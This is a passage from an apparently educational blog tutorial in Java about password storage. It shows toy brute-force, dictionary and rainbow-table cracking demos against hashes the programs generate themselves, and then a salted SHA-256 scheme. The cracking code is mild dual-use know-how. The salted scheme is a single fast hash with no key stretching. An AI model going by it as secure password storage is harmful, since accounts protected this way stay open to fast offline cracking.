            &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Trying: "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;guess&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;guess&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;equals&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;actualPassword&lt;/span&gt;&lt;span class="o"&gt;))&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
                &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"==&amp;gt; Password found: "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;guess&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
                &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
            &lt;span class="o"&gt;}&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;👉 This works because:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Password is short and predictable&lt;/li&gt;
&lt;li&gt;No rate limiting&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;
  
  
  3.2 Hashing Alone is NOT Enough
&lt;/h4&gt;

&lt;p&gt;Let’s say system stores:&lt;br&gt;
&lt;code&gt;hash(password)&lt;/code&gt;&lt;br&gt;
&lt;strong&gt;Java Example&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kn"&gt;package&lt;/span&gt; &lt;span class="nn"&gt;com.auth&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.security.MessageDigest&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;HashAttackDemo&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="nf"&gt;hash&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="nc"&gt;Exception&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="nc"&gt;MessageDigest&lt;/span&gt; &lt;span class="n"&gt;md&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;MessageDigest&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getInstance&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"SHA-256"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;digest&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;md&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;digest&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getBytes&lt;/span&gt;&lt;span class="o"&gt;());&lt;/span&gt;

        &lt;span class="nc"&gt;StringBuilder&lt;/span&gt; &lt;span class="n"&gt;hex&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;StringBuilder&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;digest&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;hex&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;append&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;format&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"%02x"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="o"&gt;));&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;hex&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;toString&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="nc"&gt;Exception&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

        &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;storedHash&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;hash&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"password"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;guesses&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s"&gt;"123456"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"password"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"admin"&lt;/span&gt;&lt;span class="o"&gt;};&lt;/span&gt;

        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;guess&lt;/span&gt; &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;guesses&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hash&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;guess&lt;/span&gt;&lt;span class="o"&gt;).&lt;/span&gt;&lt;span class="na"&gt;equals&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;storedHash&lt;/span&gt;&lt;span class="o"&gt;))&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
                &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"==&amp;gt; Cracked: "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;guess&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
            &lt;span class="o"&gt;}&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;👉 Even though password is hashed, attacker can still:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Hash guesses&lt;/li&gt;
&lt;li&gt;Compare results&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  3.3 Rainbow Table Attack (Precomputation)
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kn"&gt;package&lt;/span&gt; &lt;span class="nn"&gt;com.auth&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.security.MessageDigest&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.util.HashMap&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.util.Map&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;RainbowTableDemo&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="nf"&gt;hash&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="nc"&gt;Exception&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="nc"&gt;MessageDigest&lt;/span&gt; &lt;span class="n"&gt;md&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;MessageDigest&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getInstance&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"MD5"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;digest&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;md&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;digest&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getBytes&lt;/span&gt;&lt;span class="o"&gt;());&lt;/span&gt;

        &lt;span class="nc"&gt;StringBuilder&lt;/span&gt; &lt;span class="n"&gt;hex&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;StringBuilder&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;digest&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;hex&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;append&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;format&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"%02x"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="o"&gt;));&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;hex&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;toString&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="nc"&gt;Exception&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

        &lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;passwords&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s"&gt;"123456"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"password"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"admin"&lt;/span&gt;&lt;span class="o"&gt;};&lt;/span&gt;

        &lt;span class="nc"&gt;Map&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;table&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;HashMap&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;gt;();&lt;/span&gt;

        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;pwd&lt;/span&gt; &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;passwords&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;table&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;put&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hash&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pwd&lt;/span&gt;&lt;span class="o"&gt;),&lt;/span&gt; &lt;span class="n"&gt;pwd&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;

        &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;stolenHash&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;hash&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"password"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;table&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;containsKey&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;stolenHash&lt;/span&gt;&lt;span class="o"&gt;))&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"==&amp;gt; Instantly cracked: "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;table&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;get&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;stolenHash&lt;/span&gt;&lt;span class="o"&gt;));&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;👉 No guessing needed — just lookup.&lt;/p&gt;

&lt;h3&gt;
  
  
  🛡️ 4. Why SALT Changes Everything
&lt;/h3&gt;

&lt;h4&gt;
  
  
  4.1 Why SALT is Needed
&lt;/h4&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb7mu7k7wc8jcya3fegjn.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb7mu7k7wc8jcya3fegjn.jpg" alt=" " width="800" height="336"&gt;&lt;/a&gt;&lt;br&gt;
Problem:&lt;br&gt;
&lt;code&gt;password → same hash everywhere&lt;/code&gt;&lt;br&gt;
Solution:&lt;br&gt;
&lt;code&gt;hash(password + salt)&lt;/code&gt;&lt;br&gt;
👉 Makes each hash unique&lt;br&gt;
4.2 SALT Implementation (Java)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kn"&gt;package&lt;/span&gt; &lt;span class="nn"&gt;com.auth&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.security.MessageDigest&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.security.SecureRandom&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.util.Base64&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;SaltedHashDemo&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="nf"&gt;generateSalt&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;salt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="o"&gt;];&lt;/span&gt;
        &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nf"&gt;SecureRandom&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;nextBytes&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;salt&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nc"&gt;Base64&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getEncoder&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;encodeToString&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;salt&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="nf"&gt;hash&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;salt&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="nc"&gt;Exception&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="nc"&gt;MessageDigest&lt;/span&gt; &lt;span class="n"&gt;md&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;MessageDigest&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getInstance&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"SHA-256"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;digest&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;md&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;digest&lt;/span&gt;&lt;span class="o"&gt;((&lt;/span&gt;&lt;span class="n"&gt;password&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;salt&lt;/span&gt;&lt;span class="o"&gt;).&lt;/span&gt;&lt;span class="na"&gt;getBytes&lt;/span&gt;&lt;span class="o"&gt;());&lt;/span&gt;

        &lt;span class="nc"&gt;StringBuilder&lt;/span&gt; &lt;span class="n"&gt;hex&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;StringBuilder&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;digest&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;hex&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;append&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;format&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"%02x"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="o"&gt;));&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;hex&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;toString&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="nc"&gt;Exception&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

        &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"password"&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
        &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;salt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;generateSalt&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;

        &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;hashed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;hash&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;salt&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Salt: "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;salt&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Hash: "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;hashed&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  4.3 How SALT Breaks Rainbow Attacks
&lt;/h4&gt;

&lt;p&gt;&lt;code&gt;password + salt1 → hash1&lt;br&gt;
password + salt2 → hash2&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;👉 Same password ≠ same hash&lt;br&gt;
👉 Rainbow tables become useless&lt;/p&gt;

&lt;h3&gt;
  
  
  🔴 5. Attacker vs SALT
&lt;/h3&gt;

&lt;h4&gt;
  
  
  5.1 Attacking Salted Hashes (Java)
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kn"&gt;package&lt;/span&gt; &lt;span class="nn"&gt;com.auth&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.security.MessageDigest&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;SaltedAttackDemo&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

